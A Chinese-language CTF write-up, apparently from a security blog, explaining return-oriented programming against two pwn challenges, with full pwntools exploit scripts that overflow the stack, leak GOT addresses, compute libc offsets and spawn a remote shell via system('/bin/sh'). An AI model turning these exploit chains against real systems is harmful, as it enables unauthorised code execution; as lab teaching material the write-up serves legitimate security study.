前言:
随着网络安全的发展,在网络攻防对抗中,关于漏洞利用的难度在不断增大,这给攻击者带来了不少阻碍,为了绕过各种漏洞防御措施,掌握ROP技术势在必行。最近研究了一下rop,发现pwn的漏洞点都很奇妙,拿rop来说,利用plt和got表的偏移来计算出got表中的base,其实如果深入研究的话还是要看libc,学习之路漫漫。
64位ROP pwn-100
64位程序
发现前两个函数标准输入输出,然后我们来看一下第三个函数,发现里面又套了一层函数
栈空间大小为40,我们可以把这个sub_40063D函数当成read函数
这个的意思就是
修改edi的目的达成,直接call put的指令的意思就是打印
put的plt地址意味着调用put函数,put函数的参数存放在rdi中,rdi此时是got[put]
打印got表put函数的地址
from pwn import *
from LibcSearcher import LibcSearcher
#导入libcsearcher来搜索此执行程序使用的哪个got表
#一种got表对应一种libsearcher
context.log_level = 'debug'
io = process('./6')
io = remote('111.200.241.244',57644)
elf = ELF('./6')
payload = b'b'*0x48+p64(0x0000000000400763)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x00000000004006B8)
#分析一下这个payload,首先栈溢出,然后加上pop rdi 的地址,在接上got表中的puts,plt是运行puts函数,最后再接上main函数地址
#got表中的puts是一串地址
io.sendline(payload.ljust(200,b'b'))
#题目中写明了for循环必须要200字符串
#print(io.recv())
io.recvuntil('\n')
got_put_addr = u64(io.recv().split(b'\n')[0].ljust(8,b'\x00'))
print(got_put_addr)
#利用got表中的puts函数算出got表中其他函数的相对偏移
libc_obj = LibcSearcher('puts', got_put_addr)
libc_base_addr = got_put_addr - libc_obj.dump('puts')
system_addr = libc_base_addr + libc_obj.dump("system")
str_bin_sh = libc_base_addr + libc_obj.dump('str_bin_sh')
payloads = b'b'*0x48+p64(0x0000000000400763)+p64(str_bin_sh)+p64(system_addr)
io.sendline(payloads)
io.interactive()
#p64(0x0000000000400763) =rdi
p64(0x0000000000400763)+p64(elf.got[‘puts’]) 把got表中的puts传送给rdi
栈溢出+32位ROP pwn-200
32位的可执行文件checksec一下,发现是32位可执行文件
我们来看一看这个sub_8048484函数
这里有栈溢出漏洞,这道题的思路是:
1.首先泄露的plt中write表的位置
2.泄露got表中write表的位置
payload = (0x6c+0x4)*b'A'+p32(elf.plt['write'])+p32(0x08048484)+p32(1)+p32(elf.got['write'])+p32(4) p32(elf.plt['write'])指令 p32(1)+p32(elf.got['write'])+p32(4)数据流参数 三个参数 p32(0x08048484)此为main函数地址
分析一下这个paylaod,0x6c+0x4是因为buf到ebp的距离是0x6c,然后ebp寄存器为4位(32位程序),先溢出,然后我们开始写
这个的意思是伪造栈,不过可以理解为开辟了新栈空间
print(payload)就是打印出了got表 witre函数的地址(注意这个是动态,但是偏移不会变)
然后我们利用libc
计算出libc的基地址,再利用基地址算出system地址和bin/sh地址,
然后重新构造payload
payload = (0x6c+0x4)*b'A'+p32(system_addr)+p32(0xaaaaaaaa)+p32(binsh_addr)
中间为什么会有0xaaaaaaaa呢,这个也不太懂希望大佬来解释一下(32位系统)
这个后期问了一下,要有一个引子作为返回地址
如果不加那四个字节,弹栈的时候也是把栈顶弹出,然后最多就是ret不能用
是影响整个程序执行的话就要加上,不影响的话完全没必要加那个返回地址
也可能是因为32位是栈传递参数,跟寄存器传递参数不一样导致32位要加一个返回地址这样就是栈溢出然后加上自己写的rop链
就可以打通远程
exp:
from pwn import *
from LibcSearcher import LibcSearcher
context.log_level = 'debug'
elf = ELF('4')
#this file's ELF
#io = process('4')
io = remote( '111.200.241.244',53332)
payload = (0x6c+0x4)*b'A'+p32(elf.plt['write'])+p32(0x08048484)+p32(1)+p32(elf.got['write'])+p32(4)
print(payload)
io.sendline(payload)
io.recv()
a=u32(io.recv())
libc = LibcSearcher('write', a)
libc_base = a - libc.dump('write')
binsh_addr = libc_base + libc.dump('str_bin_sh')
system_addr = libc_base + libc.dump('system')
payload = (0x6c+0x4)*b'A'+p32(system_addr)+p32(0xaaaaaaaa)+p32(binsh_addr)
io.sendline(payload)
io.interactive()
小结
此篇文章写的主要是32位和64位ELF文件关于rop的漏洞利用,可以看到32位和64位攻击的方法不同,关于ROP漏洞的利用有问题的朋友欢迎与小编一起交流。
来源:freebuf.com 2021-06-30 15:04:28 by: 星云博创科技有限公司
请登录后发表评论
注册